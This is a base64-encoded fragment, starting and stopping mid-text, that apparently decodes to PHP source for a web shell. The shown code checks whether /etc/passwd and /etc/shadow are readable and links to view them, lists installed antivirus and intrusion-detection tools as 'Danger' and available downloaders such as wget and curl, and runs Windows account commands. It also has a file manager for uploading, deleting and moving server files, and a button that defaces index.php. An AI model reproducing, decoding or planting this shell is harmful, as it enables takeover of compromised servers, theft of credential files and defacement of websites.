GVzOwogICAgfQp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewogICAgICAgICR2ID0gdHJpbSgkdik7CiAgICAgICAgaWYoJHYpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICBlY2hvICR2Lic8YnI+JzsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKICAgICAgICB9CiAgICB9CiAgICAKICAgIHNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwogICAgc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwogICAgc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CiAgICAkdGVtcD1hcnJheSgpOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiTVNTUUwiOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7CiAgICBzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CiAgICBlY2hvICc8YnI+JzsKICAgIAogICAgaWYoICRHTE9CQUxTWydvcyddID09ICduaXgnICkgewogICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwogICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7IAogICAgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgCiAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXSE9J2RlZmFjZScpIHsKICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoKICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAgICAgICAgICAgICAgICAgICAgJGRoICA9IG9wZW5kaXIoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgPT0gImRpciIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICAgICAgICAgICAgICBybWRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIAogIAogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoKICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgKCgkX1BPU1RbJ3AxJ10gPT0gJ2NvcHknKXx8KCRfUE9TVFsncDEnXSA9PSAnbW92ZScpKSApIHsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5tZi5wMS52YWx1ZT0iIjtkb2N1bWVudC5tZi5wMi52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgfQoKICAgICRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CiAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsgcmV0dXJuOyAgICB9CiAgICBnbG9iYWwgJHNvcnQ7CiAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQogICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwogICAgfQogICAgZWNobyAnPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBzYSgpIHsKICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCiAgICAgICAgICAgIGlmKGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gXCdjaGVja2JveFwnKQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7CiAgICAgICAgfQogICAgICAgIDwvc2NyaXB0PgogICAgICAgIDx0YWJsZSB3aWR0aD1cJzEwMCVcJyBjbGFzcz1cJ21haW5cJyBjZWxsc3BhY2luZz1cJzBcJyBjZWxscGFkZGluZz1cJzJcJz4KICAgICAgICA8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pic7CiAgICBlY2hvICI8dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKICAgICRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsKICAgICRuID0gY291bnQoJGRpckNvbnRlbnQpOwogICAgZm9yKCRpPTA7JGk8JG47JGkrKykgewogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKICAgICAgICAgICAgICAgICAgICAgJ21vZGlmeScgPT4gQGRhdGUoJ1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKSwKICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICBpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7CiAgICAgICAgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAkbGlua3NbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycpKTsKICAgICAgICBlbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkKICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwogICAgfQogICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwogICAgZnVuY3Rpb24gY21wKCRhLCAkYikgewogICAgICAgIGlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQogICAgICAgICAgICByZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLCAkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwogICAgfQogICAgdXNvcnQoJGZpbGVzLCAiY21wIik7CiAgICB1c29ydCgkZGlycywgImNtcCIpOwogICAgdXNvcnQoJGxpbmtzLCAiY21wIik7CiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGxpbmtzLCAkZmlsZXMpOwogICAgJGwgPSAwOwogICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsKICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyI+PGI+WyAnLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkuJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/dmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddCiAgICAgICAgICAgIC4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7CiAgICAgICAgJGwgPSAkbD8wOjE7CiAgICB9CiAgICBlY2hvICc8dHI+PHRkIGNvbHNwYW49NT4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9XCdGaWxlc01hblwnPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgPHNlbGVjdCBuYW1lPVwncDFcJz48b3B0aW9uIHZhbHVlPVwnY29weVwnPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnbW92ZVwnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnZGVsZXRlXCc+RGVsZXRlPC9vcHRpb24+JzsKICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7ZWNobyAnPG9wdGlvbiB2YWx1ZT1cJ3Bhc3RlXCc+UGFzdGU8L29wdGlvbj4nOyB9CiAgICBlY2hvICc8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvdGQ+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJyaWdodCIgd2lkdGg9IjEiPjxpbnB1dCBuYW1lPSJkZWYiIGlkPSJkZWYiIHZhbHVlPSJpbmRleC5waHAiIHNpemU9IjEwIi8+Jm5ic3A7PGlucHV0IHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nXCcsXCdkZWZhY2VcJyxkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2RlZlwnKS52YWx1ZSkiIHZhbHVlPSJBZGQgeW91ciBEZWZhY2UiPjwvdGQ+PC90cj4KICAgIDwvZm9ybT48L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IGRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0c